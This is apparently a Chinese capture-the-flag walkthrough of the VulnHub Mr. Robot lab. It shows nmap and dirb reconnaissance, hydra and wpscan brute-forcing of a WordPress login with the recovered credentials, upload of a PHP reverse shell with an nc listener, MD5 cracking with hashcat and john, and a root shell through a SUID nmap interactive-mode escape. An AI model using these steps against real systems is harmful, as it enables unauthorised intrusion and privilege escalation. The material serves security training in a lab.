vulnhub-mrRobot通关教程

我虽然想一步一步吧每篇帖子的细节讲好，但是我并不想每一篇都分析这个IP，快速过一遍得了1网卡，2服务，254DNS，155kali，158靶机。

nmap 192.168.135.0/24 -sP

这里根据开放的端口思路很明显了，就是80收集信息爆破22端口ssh。

nmap 192.168.135.158

全扫描验证了思路，ssl一般不是我们突破口。

nmap 192.168.135.158 -p- -sV -sC -T5 -A

登录网站第一次打的时候还没发现竟然是可交互的，不过没什么东西，看源码也没。

我们通过扫描发现东西太多了，我根据我打的情况将重要的放出来。

Dirb http://192.168.135.158

这里一个是登录框，一个是目录泄露。

我们发现另一个目录是一个密码本

我们根据密码将它下载下来，改名方便破解。

wget http://192.168.135.158/fsocity.dic

我们通过bp抓包看看post体中有什么，构造我们得hydra来破解账号密码。

log=1&pwd=2&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.135.158%2Fwp-admin%2F&testcookie=1

根据构造得命令破解出账号。

hydra -L yang.txt -p yangtest 192.168.135.158 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username'

这个wpscan也是能爆破的啊，我也是打到这里才知道，爆要爆很久的。

为了提速我们将密码本去除些重复字符

sort yang.txt | uniq > yang1.txt

wpscan -U Elliot -P yang1.txt --url http://192.168.135.158

这里就得出了账号密码了Username: Elliot, Password: ER28-0652登录wp，我们发现这里可以上传文件。那我们就把我们朋友php-reverse-shell上传给他拿shell

找到我们的shell，把他上传到网站里访问它就能拿到www-data的shell

Locate php-reverse-shell.php

Cp /usr/share/webshells/php/php-reverse-shell.php .

这里补充一下，.是在当前目录，怕有些刚接触Linux的朋友不知道.有什么用

记得修改反弹的地址，不然监听100万年都反弹不到kali。

位置如下，没什么好解释的，访问位置就能反弹，图片已经很清晰了。

这里一定是先监听，用nc。我是先监听，得到shell后再截图的，i习惯了不知道为什么。不过命令我还是会给。

Nc -vlp 1234

本来不想说太多这里的，但是我感觉这个东西是真家伙啊，再敲一遍吧

Python -c ‘import pty;pty.spawn(“/bin/bash”)’

这里在教个稳定shell的小技巧

Stty raw -echo; fg

Reset

Export TERM=xterm-256color

一般我们都是优先枚举信息啊，在home目录里我们发现了第二个flag，这里我要说拿flag是我们的结果，打靶的思路和过程才是我们真正需要的。这里发现一个加密我们看看是什么加密

我们使用hash-identifier来看看他是什么加密，或者说他是什么值

Hash-identifier

locate rockyou.txt

hashcat -m 0 -a 0 c3fcd3d76192e4007dfb496cca67e13b /usr/share/wordlists/rockyou.txt

-m 0 md5 -a 0 字典爆破

我说实话，我第一次打的时候用的John，这次想着hashcat也一样吧，结果>_<，，，搜了一下虚拟机的显存不够我跑hashcat,那我就拿joho跑吧

奇了怪了改下命令有爆出来了，喔，不能加 -a

hashcat -m 0 c3fcd3d76192e4007dfb496cca67e13b /usr/share/wordlists/rockyou.txt

abcdefghijklmnopqrstuvwxyz

当然john也能跑啊，我第一次也是用john跑的

echo "c3fcd3d76192e4007dfb496cca67e13b" > hash

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash

这里安装了nmap，nmap有个漏洞老版本 Nmap（3.81）有--interactive交互式模式

这个旧版本 nmap 内置 shell 逃逸功能：进入 nmap 交互控制台：nmap –interactive，用!命令的方式直接调用系统 shell（`!whoami`、`!/bin/bash`），因为 nmap 进程本身 euid=root，它 spawn 出来的 bash 就继承 euid=0，拿到 root 权限

查找SUID为root的，find / -perm -4000 -type f 2>/dev/null，只要文件带 SUID任何人执行这个程序时，程序都会以这个文件拥有者的身份运行。nmap 文件属主是 root 任何人运行这个 nmap程序运行时临时获得 root 的有效 ID euid=0。

/usr/local/bin/nmap –interactive

!whoami

!/bin/bash -p

这里一直在暴力破解暴力破解。。。最后用nmap漏洞提权。。。没什么好解释的。

我试着捋捋思路，我们扫到端口80和22。443一般不是我们的突破口。从80枚举出信息，拿到密码本破解出用户信息，在用用户信息破解出密码，登录网站上传反弹shell拿到shell。在shell里面我们看见另一个用户信息，枚举到哈希破解哈希su切换本地用户横向。我们发现老版本的nmap有命令交互漏洞，利用漏洞拿到root。